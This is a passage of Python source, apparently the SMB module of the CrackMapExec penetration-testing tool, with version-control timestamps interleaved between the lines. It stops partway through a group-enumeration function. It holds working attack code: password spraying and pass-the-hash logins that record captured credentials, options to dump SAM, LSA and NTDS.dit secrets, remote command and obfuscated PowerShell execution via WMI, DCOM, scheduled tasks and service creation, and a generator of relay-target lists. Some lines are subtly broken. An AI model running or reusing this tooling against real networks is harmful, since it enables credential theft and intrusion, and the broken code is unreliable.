2017-03-27 21:09:36 +00:00
# -*- coding: utf-8 -*-
2016-12-15 07:28:00 +00:00
import socket
import os
import ntpath
2019-11-10 21:42:04 +00:00
from io import StringIO
2016-12-15 07:28:00 +00:00
from impacket . smbconnection import SMBConnection , SessionError
2017-04-10 08:58:33 +00:00
from impacket . smb import SMB_DIALECT
2016-12-15 07:28:00 +00:00
from impacket . examples . secretsdump import RemoteOperations , SAMHashes , LSASecrets , NTDSHashes
from impacket . nmb import NetBIOSError
2017-04-05 15:07:00 +00:00
from impacket . dcerpc . v5 import transport , lsat , lsad
2016-12-15 07:28:00 +00:00
from impacket . dcerpc . v5 . rpcrt import DCERPCException
2017-03-27 21:09:36 +00:00
from impacket . dcerpc . v5 . transport import DCERPCTransportFactory
2020-05-03 18:30:41 +00:00
from impacket . dcerpc . v5 . rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
2017-03-27 21:09:36 +00:00
from impacket . dcerpc . v5 . epm import MSRPC_UUID_PORTMAP
2017-04-05 15:07:00 +00:00
from impacket . dcerpc . v5 . dcom . wmi import WBEM_FLAG_FORWARD_ONLY
from impacket . dcerpc . v5 . samr import SID_NAME_USE
from impacket . dcerpc . v5 . dtypes import MAXIMUM_ALLOWED
2016-12-15 07:28:00 +00:00
from cme . connection import *
2017-03-27 21:09:36 +00:00
from cme . logger import CMEAdapter
from cme . servers . smb import CMESMBServer
2016-12-15 07:28:00 +00:00
from cme . protocols . smb . wmiexec import WMIEXEC
from cme . protocols . smb . atexec import TSCH_EXEC
from cme . protocols . smb . smbexec import SMBEXEC
2017-03-27 21:09:36 +00:00
from cme . protocols . smb . mmcexec import MMCEXEC
2016-12-15 07:28:00 +00:00
from cme . protocols . smb . smbspider import SMBSpider
2017-04-10 07:24:23 +00:00
from cme . protocols . smb . passpol import PassPolDump
2016-12-15 07:28:00 +00:00
from cme . helpers . logger import highlight
2017-03-30 00:03:04 +00:00
from cme . helpers . misc import *
2016-12-15 07:28:00 +00:00
from cme . helpers . powershell import create_ps_command
from pywerview . cli . helpers import *
2017-04-05 15:07:00 +00:00
from pywerview . requester import RPCRequester
from time import time
2016-12-15 07:28:00 +00:00
from datetime import datetime
2017-03-27 21:09:36 +00:00
from functools import wraps
2018-02-23 13:55:05 +00:00
from traceback import format_exc
2017-03-27 21:09:36 +00:00
smb_share_name = gen_random_string ( 5 ) . upper ( )
smb_server = None
2020-06-20 17:20:27 +00:00
smb_error_status = [
" STATUS_ACCOUNT_DISABLED " ,
" STATUS_ACCOUNT_EXPIRED " ,
" STATUS_ACCOUNT_RESTRICTION " ,
" STATUS_INVALID_LOGON_HOURS " ,
" STATUS_INVALID_WORKSTATION " ,
" STATUS_LOGON_TYPE_NOT_GRANTED " ,
" STATUS_PASSWORD_EXPIRED " ,
2020-06-20 22:16:37 +00:00
" STATUS_PASSWORD_MUST_CHANGE " ,
" STATUS_ACCESS_DENIED "
2020-06-20 17:20:27 +00:00
]
2017-03-27 21:09:36 +00:00
def requires_smb_server ( func ) :
def _decorator ( self , * args , * * kwargs ) :
global smb_server
global smb_share_name
get_output = False
payload = None
methods = [ ]
try :
payload = args [ 0 ]
except IndexError :
pass
try :
get_output = args [ 1 ]
except IndexError :
pass
try :
methods = args [ 2 ]
except IndexError :
pass
2019-11-10 23:12:35 +00:00
if ' payload ' in kwargs :
2017-03-27 21:09:36 +00:00
payload = kwargs [ ' payload ' ]
2019-11-10 23:12:35 +00:00
if ' get_output ' in kwargs :
2017-03-27 21:09:36 +00:00
get_output = kwargs [ ' get_output ' ]
2019-11-10 23:12:35 +00:00
if ' methods ' in kwargs :
2017-03-27 21:09:36 +00:00
methods = kwargs [ ' methods ' ]
if not payload and self . args . execute :
if not self . args . no_output : get_output = True
if get_output or ( methods and ( ' smbexec ' in methods ) ) :
if not smb_server :
2017-04-05 15:07:00 +00:00
#with sem:
2017-03-27 21:09:36 +00:00
logging . debug ( ' Starting SMB server ' )
2020-07-30 13:14:31 +00:00
smb_server = CMESMBServer ( self . logger , smb_share_name , listen_port = self . args . smb_server_port , verbose = self . args . verbose )
2017-03-27 21:09:36 +00:00
smb_server . start ( )
output = func ( self , * args , * * kwargs )
if smb_server is not None :
2017-04-05 15:07:00 +00:00
#with sem:
2017-03-27 21:09:36 +00:00
smb_server . shutdown ( )
smb_server = None
return output
return wraps ( func ) ( _decorator )
2016-12-15 07:28:00 +00:00
class smb ( connection ) :
def __init__ ( self , args , db , host ) :
self . domain = None
self . server_os = None
2017-03-27 21:09:36 +00:00
self . os_arch = 0
2016-12-15 07:28:00 +00:00
self . hash = None
self . lmhash = ' '
self . nthash = ' '
self . remote_ops = None
self . bootkey = None
self . output_filename = None
2017-05-15 04:44:49 +00:00
self . smbv1 = None
2017-04-05 15:07:00 +00:00
self . signing = False
2017-03-27 21:09:36 +00:00
self . smb_share_name = smb_share_name
2016-12-15 07:28:00 +00:00
connection . __init__ ( self , args , db , host )
@staticmethod
def proto_args ( parser , std_parser , module_parser ) :
2017-10-25 02:08:19 +00:00
smb_parser = parser . add_parser ( ' smb ' , help = " own stuff using SMB " , parents = [ std_parser , module_parser ] )
2016-12-15 07:28:00 +00:00
smb_parser . add_argument ( " -H " , ' --hash ' , metavar = " HASH " , dest = ' hash ' , nargs = ' + ' , default = [ ] , help = ' NTLM hash(es) or file(s) containing NTLM hashes ' )
2020-04-30 14:06:57 +00:00
smb_parser . add_argument ( " --no-bruteforce " , action = ' store_true ' , help = ' No spray when using file for username and password (user1 => password1, user2 => password2 ' )
2016-12-15 07:28:00 +00:00
dgroup = smb_parser . add_mutually_exclusive_group ( )
2017-04-05 15:07:00 +00:00
dgroup . add_argument ( " -d " , metavar = " DOMAIN " , dest = ' domain ' , type = str , help = " domain to authenticate to " )
dgroup . add_argument ( " --local-auth " , action = ' store_true ' , help = ' authenticate locally to each target ' )
2017-10-25 02:08:19 +00:00
smb_parser . add_argument ( " --port " , type = int , choices = { 445 , 139 } , default = 445 , help = " SMB port (default: 445) " )
2017-04-05 15:07:00 +00:00
smb_parser . add_argument ( " --share " , metavar = " SHARE " , default = " C$ " , help = " specify a share (default: C$) " )
2020-07-30 13:14:31 +00:00
smb_parser . add_argument ( " --smb-server-port " , default = " 445 " , help = " specify a server port for SMB " , type = int )
2017-04-05 15:07:00 +00:00
smb_parser . add_argument ( " --gen-relay-list " , metavar = ' OUTPUT_FILE ' , help = " outputs all hosts that don ' t require SMB signing to the specified file " )
2018-05-27 01:44:24 +00:00
smb_parser . add_argument ( " --continue-on-success " , action = ' store_true ' , help = " continues authentication attempts even after successes " )
2016-12-15 07:28:00 +00:00
cgroup = smb_parser . add_argument_group ( " Credential Gathering " , " Options for gathering credentials " )
2017-03-27 21:09:36 +00:00
cegroup = cgroup . add_mutually_exclusive_group ( )
cegroup . add_argument ( " --sam " , action = ' store_true ' , help = ' dump SAM hashes from target systems ' )
cegroup . add_argument ( " --lsa " , action = ' store_true ' , help = ' dump LSA secrets from target systems ' )
2017-07-10 05:44:58 +00:00
cegroup . add_argument ( " --ntds " , choices = { ' vss ' , ' drsuapi ' } , nargs = ' ? ' , const = ' drsuapi ' , help = " dump the NTDS.dit from target DCs using the specifed method \n (default: drsuapi) " )
2016-12-15 07:28:00 +00:00
#cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
#cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
egroup = smb_parser . add_argument_group ( " Mapping/Enumeration " , " Options for Mapping/Enumerating " )
2017-03-27 21:09:36 +00:00
egroup . add_argument ( " --shares " , action = " store_true " , help = " enumerate shares and access " )
egroup . add_argument ( " --sessions " , action = ' store_true ' , help = ' enumerate active sessions ' )
egroup . add_argument ( ' --disks ' , action = ' store_true ' , help = ' enumerate disks ' )
egroup . add_argument ( " --loggedon-users " , action = ' store_true ' , help = ' enumerate logged on users ' )
egroup . add_argument ( ' --users ' , nargs = ' ? ' , const = ' ' , metavar = ' USER ' , help = ' enumerate domain users, if a user is specified than only its information is queried. ' )
egroup . add_argument ( " --groups " , nargs = ' ? ' , const = ' ' , metavar = ' GROUP ' , help = ' enumerate domain groups, if a group is specified than its members are enumerated ' )
egroup . add_argument ( " --local-groups " , nargs = ' ? ' , const = ' ' , metavar = ' GROUP ' , help = ' enumerate local groups, if a group is specified than its members are enumerated ' )
egroup . add_argument ( " --pass-pol " , action = ' store_true ' , help = ' dump password policy ' )
2017-10-25 03:30:14 +00:00
egroup . add_argument ( " --rid-brute " , nargs = ' ? ' , type = int , const = 4000 , metavar = ' MAX_RID ' , help = ' enumerate users by bruteforcing RID \' s (default: 4000) ' )
2017-03-27 21:09:36 +00:00
egroup . add_argument ( " --wmi " , metavar = ' QUERY ' , type = str , help = ' issues the specified WMI query ' )
2017-04-05 15:07:00 +00:00
egroup . add_argument ( " --wmi-namespace " , metavar = ' NAMESPACE ' , default = ' root \\ cimv2 ' , help = ' WMI Namespace (default: root \\ cimv2) ' )
2016-12-15 07:28:00 +00:00
sgroup = smb_parser . add_argument_group ( " Spidering " , " Options for spidering shares " )
2017-04-05 15:07:00 +00:00
sgroup . add_argument ( " --spider " , metavar = ' SHARE ' , type = str , help = ' share to spider ' )
sgroup . add_argument ( " --spider-folder " , metavar = ' FOLDER ' , default = ' . ' , type = str , help = ' folder to spider (default: root share directory) ' )
2017-03-27 21:09:36 +00:00
sgroup . add_argument ( " --content " , action = ' store_true ' , help = ' enable file content searching ' )
sgroup . add_argument ( " --exclude-dirs " , type = str , metavar = ' DIR_LIST ' , default = ' ' , help = ' directories to exclude from spidering ' )
2016-12-15 07:28:00 +00:00
segroup = sgroup . add_mutually_exclusive_group ( )
2017-04-05 15:07:00 +00:00
segroup . add_argument ( " --pattern " , nargs = ' + ' , help = ' pattern(s) to search for in folders, filenames and file content ' )
segroup . add_argument ( " --regex " , nargs = ' + ' , help = ' regex(s) to search for in folders, filenames and file content ' )
sgroup . add_argument ( " --depth " , type = int , default = None , help = ' max spider recursion depth (default: infinity & beyond) ' )
sgroup . add_argument ( " --only-files " , action = ' store_true ' , help = ' only spider files ' )
2016-12-15 07:28:00 +00:00
2020-04-28 16:22:30 +00:00
tgroup = smb_parser . add_argument_group ( " Files " , " Options for put and get remote files " )
tgroup . add_argument ( " --put-file " , nargs = 2 , metavar = " FILE " , help = ' Put a local file into remote target, ex: whoami.txt \\ \\ Windows \\ \\ Temp \\ \\ whoami.txt ' )
tgroup . add_argument ( " --get-file " , nargs = 2 , metavar = " FILE " , help = ' Get a remote file, ex: \\ \\ Windows \\ \\ Temp \\ \\ whoami.txt whoami.txt ' )
2016-12-15 07:28:00 +00:00
cgroup = smb_parser . add_argument_group ( " Command Execution " , " Options for executing commands " )
2017-04-05 15:07:00 +00:00
cgroup . add_argument ( ' --exec-method ' , choices = { " wmiexec " , " mmcexec " , " smbexec " , " atexec " } , default = None , help = " method to execute the command. Ignored if in MSSQL mode (default: wmiexec) " )
cgroup . add_argument ( ' --force-ps32 ' , action = ' store_true ' , help = ' force the PowerShell command to run in a 32-bit process ' )
cgroup . add_argument ( ' --no-output ' , action = ' store_true ' , help = ' do not retrieve command output ' )
2016-12-15 07:28:00 +00:00
cegroup = cgroup . add_mutually_exclusive_group ( )
2017-04-05 15:07:00 +00:00
cegroup . add_argument ( " -x " , metavar = " COMMAND " , dest = ' execute ' , help = " execute the specified command " )
cegroup . add_argument ( " -X " , metavar = " PS_COMMAND " , dest = ' ps_execute ' , help = ' execute the specified PowerShell command ' )
2016-12-15 07:28:00 +00:00
2017-06-26 09:49:04 +00:00
psgroup = smb_parser . add_argument_group ( ' Powershell Obfuscation ' , " Options for PowerShell script obfuscation " )
psgroup . add_argument ( ' --obfs ' , action = ' store_true ' , help = ' Obfuscate PowerShell scripts ' )
psgroup . add_argument ( ' --clear-obfscripts ' , action = ' store_true ' , help = ' Clear all cached obfuscated PowerShell scripts ' )
2016-12-15 07:28:00 +00:00
return parser
def proto_logger ( self ) :
self . logger = CMEAdapter ( extra = {
' protocol ' : ' SMB ' ,
' host ' : self . host ,
2017-05-03 00:52:16 +00:00
' port ' : self . args . port ,
2017-04-30 18:54:35 +00:00
' hostname ' : self . hostname
2016-12-15 07:28:00 +00:00
} )
2017-03-27 21:09:36 +00:00
def get_os_arch ( self ) :
try :
stringBinding = r ' ncacn_ip_tcp: {} [135] ' . format ( self . host )
transport = DCERPCTransportFactory ( stringBinding )
transport . set_connect_timeout ( 5 )
dce = transport . get_dce_rpc ( )
2020-06-19 13:20:22 +00:00
if self . args . kerberos :
2020-05-03 18:30:41 +00:00
dce . set_auth_type ( RPC_C_AUTHN_GSS_NEGOTIATE )
2017-03-27 21:09:36 +00:00
dce . connect ( )
try :
dce . bind ( MSRPC_UUID_PORTMAP , transfer_syntax = ( ' 71710533-BEBA-4937-8319-B5DBEF9CCC36 ' , ' 1.0 ' ) )
2019-11-10 21:42:04 +00:00
except ( DCERPCException , e ) :
2017-03-27 21:09:36 +00:00
if str ( e ) . find ( ' syntaxes_not_supported ' ) > = 0 :
2017-03-30 00:03:04 +00:00
dce . disconnect ( )
2017-03-27 21:09:36 +00:00
return 32
else :
2017-03-30 00:03:04 +00:00
dce . disconnect ( )
2017-03-27 21:09:36 +00:00
return 64
2017-03-30 00:03:04 +00:00
except Exception as e :
2017-03-27 21:09:36 +00:00
logging . debug ( ' Error retrieving os arch of {} : {} ' . format ( self . host , str ( e ) ) )
return 0
2016-12-15 07:28:00 +00:00
def enum_host_info ( self ) :
self . local_ip = self . conn . getSMBServer ( ) . get_socket ( ) . getsockname ( ) [ 0 ]
try :
self . conn . login ( ' ' , ' ' )
2019-11-10 23:12:35 +00:00
except :
#if "STATUS_ACCESS_DENIED" in e:
pass
2016-12-15 07:28:00 +00:00
2020-05-04 19:30:56 +00:00
self . domain = self . conn . getServerDNSDomainName ( )
2017-03-27 21:09:36 +00:00
self . hostname = self . conn . getServerName ( )
2016-12-15 07:28:00 +00:00
self . server_os = self . conn . getServerOS ( )
2019-03-26 19:45:02 +00:00
self . signing = self . conn . isSigningRequired ( ) if self . smbv1 else self . conn . _SMBConnection . _Connection [ ' RequireSigning ' ]
2017-04-30 18:54:35 +00:00
self . os_arch = self . get_os_arch ( )
2016-12-15 07:28:00 +00:00
self . output_filename = os . path . expanduser ( ' ~/.cme/logs/ {} _ {} _ {} ' . format ( self . hostname , self . host , datetime . now ( ) . strftime ( " % Y- % m- %d _ % H % M % S " ) ) )
if not self . domain :
self . domain = self . hostname
2016-12-20 07:23:40 +00:00
self . db . add_computer ( self . host , self . hostname , self . domain , self . server_os )
2016-12-15 07:28:00 +00:00
try :
'''
DC ' s seem to want us to logoff first, windows workstations sometimes reset the connection
( go home Windows , you ' re drunk)
'''
self . conn . logoff ( )
except :
pass
if self . args . domain :
self . domain = self . args . domain
2020-05-09 12:20:53 +00:00
if self . args . local_auth :
self . domain = self . hostname
2016-12-15 07:28:00 +00:00
#Re-connect since we logged off
self . create_conn_obj ( )
def print_host_info ( self ) :
2017-05-15 04:44:49 +00:00
self . logger . info ( u " {} {} (name: {} ) (domain: {} ) (signing: {} ) (SMBv1: {} ) " . format ( self . server_os ,
' x {} ' . format ( self . os_arch ) if self . os_arch else ' ' ,
2019-11-10 23:12:35 +00:00
self . hostname ,
self . domain ,
2017-05-15 04:44:49 +00:00
self . signing ,
self . smbv1 ) )
2020-05-04 17:22:10 +00:00
def kerberos_login ( self , aesKey , kdcHost ) :
2020-05-05 16:11:18 +00:00
# dirty code to check if user is admin but pywerview does not support kerberos auth ...
error = ' '
2020-05-04 17:22:10 +00:00
try :
self . conn . kerberosLogin ( ' ' , ' ' , self . domain , self . lmhash , self . nthash , aesKey , kdcHost )
2020-05-05 16:11:18 +00:00
# self.check_if_admin() # currently pywerview does not support kerberos auth
except SessionError as e :
error = e
try :
self . conn . connectTree ( " C$ " )
2020-05-04 17:22:10 +00:00
self . admin_privs = True
2020-05-05 16:11:18 +00:00
except SessionError as e :
pass
if not error :
2020-05-04 17:22:10 +00:00
out = u ' {} \\ {} {} ' . format ( self . domain ,
self . conn . getCredentials ( ) [ 0 ] ,
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
self . logger . success ( out )
return True
2020-05-05 16:11:18 +00:00
else :
2020-05-04 17:22:10 +00:00
self . logger . error ( u ' {} {} {} ' . format ( self . domain ,
error ,
' ( {} ) ' . format ( desc ) if self . args . verbose else ' ' ) )
return False
2017-03-27 21:09:36 +00:00
2020-05-09 13:36:31 +00:00
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
if self . signing :
try :
self . conn . logoff ( )
except :
pass
self . create_conn_obj ( )
2016-12-15 07:28:00 +00:00
def plaintext_login ( self , domain , username , password ) :
try :
self . password = password
self . username = username
self . domain = domain
2020-06-20 22:16:37 +00:00
self . conn . login ( username , password , domain )
2016-12-15 07:28:00 +00:00
self . check_if_admin ( )
self . db . add_credential ( ' plaintext ' , domain , username , password )
if self . admin_privs :
2016-12-20 07:23:40 +00:00
self . db . add_admin_user ( ' plaintext ' , domain , username , password , self . host )
2016-12-15 07:28:00 +00:00
2019-11-10 23:12:35 +00:00
out = u ' {} \\ {} : {} {} ' . format ( domain ,
username ,
password ,
2018-03-01 19:36:17 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
2016-12-15 07:28:00 +00:00
self . logger . success ( out )
2018-05-27 01:44:24 +00:00
if not self . args . continue_on_success :
return True
2020-05-09 13:36:31 +00:00
elif self . signing : # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
try :
self . conn . logoff ( )
except :
pass
self . create_conn_obj ( )
2016-12-15 07:28:00 +00:00
except SessionError as e :
error , desc = e . getErrorString ( )
2019-11-10 23:12:35 +00:00
self . logger . error ( u ' {} \\ {} : {} {} {} ' . format ( domain ,
username ,
password ,
2016-12-15 07:28:00 +00:00
error ,
2020-06-20 17:20:27 +00:00
' ( {} ) ' . format ( desc ) if self . args . verbose else ' ' ) ,
2020-06-20 22:16:37 +00:00
color = ' magenta ' if error in smb_error_status else ' red ' )
2020-06-21 19:21:07 +00:00
if error not in smb_error_status :
2020-06-20 22:16:37 +00:00
self . inc_failed_login ( username )
return False
if not self . args . continue_on_success :
return True
2016-12-15 07:28:00 +00:00
def hash_login ( self , domain , username , ntlm_hash ) :
lmhash = ' '
nthash = ' '
#This checks to see if we didn't provide the LM Hash
if ntlm_hash . find ( ' : ' ) != - 1 :
lmhash , nthash = ntlm_hash . split ( ' : ' )
else :
nthash = ntlm_hash
try :
self . hash = ntlm_hash
2017-06-23 18:15:09 +00:00
if lmhash : self . lmhash = lmhash
if nthash : self . nthash = nthash
2016-12-15 07:28:00 +00:00
self . username = username
self . domain = domain
2020-06-20 22:16:37 +00:00
self . conn . login ( username , ' ' , domain , lmhash , nthash )
2016-12-15 07:28:00 +00:00
self . check_if_admin ( )
self . db . add_credential ( ' hash ' , domain , username , ntlm_hash )
if self . admin_privs :
2016-12-20 07:23:40 +00:00
self . db . add_admin_user ( ' hash ' , domain , username , ntlm_hash , self . host )
2016-12-15 07:28:00 +00:00
2019-11-10 23:12:35 +00:00
out = u ' {} \\ {} {} {} ' . format ( domain ,
username ,
2016-12-15 07:28:00 +00:00
ntlm_hash ,
2018-03-01 19:36:17 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
2016-12-15 07:28:00 +00:00
self . logger . success ( out )
2018-05-27 01:44:24 +00:00
if not self . args . continue_on_success :
return True
2020-05-09 13:36:31 +00:00
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
if self . signing :
try :
self . conn . logoff ( )
except :
pass
self . create_conn_obj ( )
2016-12-15 07:28:00 +00:00
except SessionError as e :
error , desc = e . getErrorString ( )
2020-06-20 17:20:27 +00:00
self . logger . error ( u ' {} \\ {} : {} {} {} ' . format ( domain ,
2019-11-10 23:12:35 +00:00
username ,
2016-12-15 07:28:00 +00:00
ntlm_hash ,
error ,
2020-06-20 17:20:27 +00:00
' ( {} ) ' . format ( desc ) if self . args . verbose else ' ' ) ,
color = ' magenta ' if error in smb_error_status else ' red ' )
2016-12-15 07:28:00 +00:00
2020-06-21 19:21:07 +00:00
if error not in smb_error_status :
2020-06-20 22:16:37 +00:00
self . inc_failed_login ( username )
return False
if not self . args . continue_on_success :
return True
2016-12-15 07:28:00 +00:00
2017-05-15 04:44:49 +00:00
def create_smbv1_conn ( self ) :
2016-12-15 07:28:00 +00:00
try :
2017-05-03 00:52:16 +00:00
self . conn = SMBConnection ( self . host , self . host , None , self . args . port , preferredDialect = SMB_DIALECT )
2017-05-15 04:44:49 +00:00
self . smbv1 = True
except socket . error as e :
if str ( e ) . find ( ' Connection reset by peer ' ) != - 1 :
logging . debug ( ' SMBv1 might be disabled on {} ' . format ( self . host ) )
return False
except Exception as e :
logging . debug ( ' Error creating SMBv1 connection to {} : {} ' . format ( self . host , e ) )
return False
return True
def create_smbv3_conn ( self ) :
try :
self . conn = SMBConnection ( self . host , self . host , None , self . args . port )
self . smbv1 = False
2016-12-15 07:28:00 +00:00
except socket . error :
return False
2017-04-05 15:07:00 +00:00
except Exception as e :
2017-05-15 04:44:49 +00:00
logging . debug ( ' Error creating SMBv3 connection to {} : {} ' . format ( self . host , e ) )
2017-04-05 15:07:00 +00:00
return False
2016-12-15 07:28:00 +00:00
return True
2017-05-15 04:44:49 +00:00
def create_conn_obj ( self ) :
if self . create_smbv1_conn ( ) :
return True
elif self . create_smbv3_conn ( ) :
return True
return False
2016-12-15 07:28:00 +00:00
def check_if_admin ( self ) :
lmhash = ' '
nthash = ' '
if self . hash :
if self . hash . find ( ' : ' ) != - 1 :
lmhash , nthash = self . hash . split ( ' : ' )
else :
nthash = self . hash
self . admin_privs = invoke_checklocaladminaccess ( self . host , self . domain , self . username , self . password , lmhash , nthash )
2017-04-05 15:07:00 +00:00
def gen_relay_list ( self ) :
if self . server_os . lower ( ) . find ( ' windows ' ) != - 1 and self . signing is False :
with sem :
with open ( self . args . gen_relay_list , ' a+ ' ) as relay_list :
if self . host not in relay_list . read ( ) :
relay_list . write ( self . host + ' \n ' )
2016-12-15 07:28:00 +00:00
@requires_admin
2017-03-27 21:09:36 +00:00
@requires_smb_server
2016-12-15 07:28:00 +00:00
def execute ( self , payload = None , get_output = False , methods = None ) :
if self . args . exec_method : methods = [ self . args . exec_method ]
2017-03-27 21:09:36 +00:00
if not methods : methods = [ ' wmiexec ' , ' mmcexec ' , ' atexec ' , ' smbexec ' ]
2016-12-15 07:28:00 +00:00
if not payload and self . args . execute :
payload = self . args . execute
if not self . args . no_output : get_output = True
for method in methods :
if method == ' wmiexec ' :
try :
2020-05-04 17:22:10 +00:00
exec_method = WMIEXEC ( self . host , self . smb_share_name , self . username , self . password , self . domain , self . conn , self . kerberos , self . aesKey , self . kdcHost , self . hash , self . args . share )
2016-12-15 07:28:00 +00:00
logging . debug ( ' Executed command via wmiexec ' )
break
except :
logging . debug ( ' Error executing command via wmiexec, traceback: ' )
logging . debug ( format_exc ( ) )
continue
2017-03-27 21:09:36 +00:00
elif method == ' mmcexec ' :
try :
exec_method = MMCEXEC ( self . host , self . smb_share_name , self . username , self . password , self . domain , self . conn , self . hash )
logging . debug ( ' Executed command via mmcexec ' )
break
except :
logging . debug ( ' Error executing command via mmcexec, traceback: ' )
logging . debug ( format_exc ( ) )
continue
2016-12-15 07:28:00 +00:00
elif method == ' atexec ' :
try :
2020-05-04 17:22:10 +00:00
exec_method = TSCH_EXEC ( self . host , self . smb_share_name , self . username , self . password , self . domain , self . kerberos , self . aesKey , self . kdcHost , self . hash ) #self.args.share)
2016-12-15 07:28:00 +00:00
logging . debug ( ' Executed command via atexec ' )
break
except :
logging . debug ( ' Error executing command via atexec, traceback: ' )
logging . debug ( format_exc ( ) )
continue
elif method == ' smbexec ' :
try :
2020-05-04 17:22:10 +00:00
exec_method = SMBEXEC ( self . host , self . smb_share_name , self . args . port , self . username , self . password , self . domain , self . kerberos , self . aesKey , self . kdcHost , self . hash , self . args . share )
2016-12-15 07:28:00 +00:00
logging . debug ( ' Executed command via smbexec ' )
break
except :
logging . debug ( ' Error executing command via smbexec, traceback: ' )
logging . debug ( format_exc ( ) )
continue
if hasattr ( self , ' server ' ) : self . server . track_host ( self . host )
2019-11-10 23:12:35 +00:00
output = u ' {} ' . format ( exec_method . execute ( payload , get_output ) . strip ( ) )
2016-12-15 07:28:00 +00:00
if self . args . execute or self . args . ps_execute :
self . logger . success ( ' Executed command {} ' . format ( ' via {} ' . format ( self . args . exec_method ) if self . args . exec_method else ' ' ) )
buf = StringIO ( output ) . readlines ( )
for line in buf :
self . logger . highlight ( line . strip ( ) )
return output
@requires_admin
2017-10-25 06:45:58 +00:00
def ps_execute ( self , payload = None , get_output = False , methods = None , force_ps32 = False , dont_obfs = False ) :
2016-12-15 07:28:00 +00:00
if not payload and self . args . ps_execute :
payload = self . args . ps_execute
if not self . args . no_output : get_output = True
2020-04-27 20:37:01 +00:00
if os . path . isfile ( payload ) :
with open ( payload ) as commands :
for c in commands :
self . execute ( create_ps_command ( c , force_ps32 = force_ps32 , dont_obfs = dont_obfs ) , get_output , methods )
else :
self . execute ( create_ps_command ( payload , force_ps32 = force_ps32 , dont_obfs = dont_obfs ) , get_output , methods )
return ' '
2016-12-15 07:28:00 +00:00
def shares ( self ) :
temp_dir = ntpath . normpath ( " \\ " + gen_random_string ( ) )
2020-11-15 23:42:28 +00:00
computer_id = self . db . get_computers ( filterTerm = self . host ) [ 0 ] [ 0 ]
user_id = self . db . get_user (
self . domain . split ( ' . ' ) [ 0 ] . upper ( ) ,
self . username
) [ 0 ] [ 0 ]
2016-12-15 07:28:00 +00:00
permissions = [ ]
try :
for share in self . conn . listShares ( ) :
share_name = share [ ' shi1_netname ' ] [ : - 1 ]
share_remark = share [ ' shi1_remark ' ] [ : - 1 ]
share_info = { ' name ' : share_name , ' remark ' : share_remark , ' access ' : [ ] }
read = False
write = False
try :
self . conn . listPath ( share_name , ' * ' )
read = True
share_info [ ' access ' ] . append ( ' READ ' )
except SessionError :
pass
try :
self . conn . createDirectory ( share_name , temp_dir )
self . conn . deleteDirectory ( share_name , temp_dir )
write = True
share_info [ ' access ' ] . append ( ' WRITE ' )
except SessionError :
pass
permissions . append ( share_info )
2020-11-15 23:42:28 +00:00
if share_name != " IPC$ " :
self . db . add_share ( computer_id , user_id , share_name , share_remark , read , write )
2016-12-15 07:28:00 +00:00
2017-03-30 00:03:04 +00:00
self . logger . success ( ' Enumerated shares ' )
self . logger . highlight ( ' {:<15} {:<15} {} ' . format ( ' Share ' , ' Permissions ' , ' Remark ' ) )
self . logger . highlight ( ' {:<15} {:<15} {} ' . format ( ' ----- ' , ' ----------- ' , ' ------ ' ) )
for share in permissions :
name = share [ ' name ' ]
remark = share [ ' remark ' ]
perms = share [ ' access ' ]
2019-11-11 10:06:39 +00:00
self . logger . highlight ( u ' {:<15} {:<15} {} ' . format ( name , ' , ' . join ( perms ) , remark ) )
2017-03-30 00:03:04 +00:00
2016-12-15 07:28:00 +00:00
except Exception as e :
2020-06-20 22:16:37 +00:00
error , desc = e . getErrorString ( )
self . logger . error ( ' Error enumerating shares: {} ' . format ( error ) ,
color = ' magenta ' if error in smb_error_status else ' red ' )
2016-12-15 07:28:00 +00:00
2017-04-07 04:34:30 +00:00
return permissions
2017-03-27 21:09:36 +00:00
def get_dc_ips ( self ) :
dc_ips = [ ]
2017-04-07 04:34:30 +00:00
for dc in self . db . get_domain_controllers ( domain = self . domain ) :
dc_ips . append ( dc [ 1 ] )
2017-03-27 21:09:36 +00:00
if not dc_ips :
2017-04-07 04:34:30 +00:00
dc_ips . append ( self . host )
2017-03-27 21:09:36 +00:00
return dc_ips
2016-12-15 07:28:00 +00:00
def sessions ( self ) :
sessions = get_netsession ( self . host , self . domain , self . username , self . password , self . lmhash , self . nthash )
2017-03-27 21:09:36 +00:00
self . logger . success ( ' Enumerated sessions ' )
for session in sessions :
if session . sesi10_cname . find ( self . local_ip ) == - 1 :
self . logger . highlight ( ' {:<25} User: {} ' . format ( session . sesi10_cname , session . sesi10_username ) )
return sessions
2016-12-15 07:28:00 +00:00
def disks ( self ) :
2020-06-20 22:16:37 +00:00
disks = [ ]
try :
disks = get_localdisks ( self . host , self . domain , self . username , self . password , self . lmhash , self . nthash )
self . logger . success ( ' Enumerated disks ' )
for disk in disks :
self . logger . highlight ( disk . disk )
except Exception as e :
error , desc = e . getErrorString ( )
self . logger . error ( ' Error enumerating disks: {} ' . format ( error ) ,
color = ' magenta ' if error in smb_error_status else ' red ' )
2017-03-27 21:09:36 +00:00
return disks
def local_groups ( self ) :
2017-04-07 04:34:30 +00:00
groups = [ ]
2017-03-27 21:09:36 +00:00
#To enumerate local groups the DC IP is optional, if specified it will resolve the SIDs and names of any domain accounts in the local group
for dc_ip in self . get_dc_ips ( ) :
try :
groups = get_netlocalgroup ( self . host , dc_ip , ' ' , self . username ,
2017-10-25 02:08:19 +00:00
self . password , self . lmhash , self . nthash , queried_groupname = self . args . local_groups ,
2017-03-27 21:09:36 +00:00
list_groups = True if not self . args . local_groups else False , recurse = False )
if self . args . local_groups :
self . logger . success ( ' Enumerated members of local group ' )
else :
self . logger . success ( ' Enumerated local groups ' )
for group in groups :
if group . name :
if not self . args . local_groups :
2017-03-30 00:03:04 +00:00
self . logger . highlight ( ' {:<40} membercount: {} ' . format ( group . name , group . membercount ) )
2017-03-27 21:09:36 +00:00
self . db . add_group ( self . hostname , group . name )
else :
domain , name = group . name . split ( ' / ' )
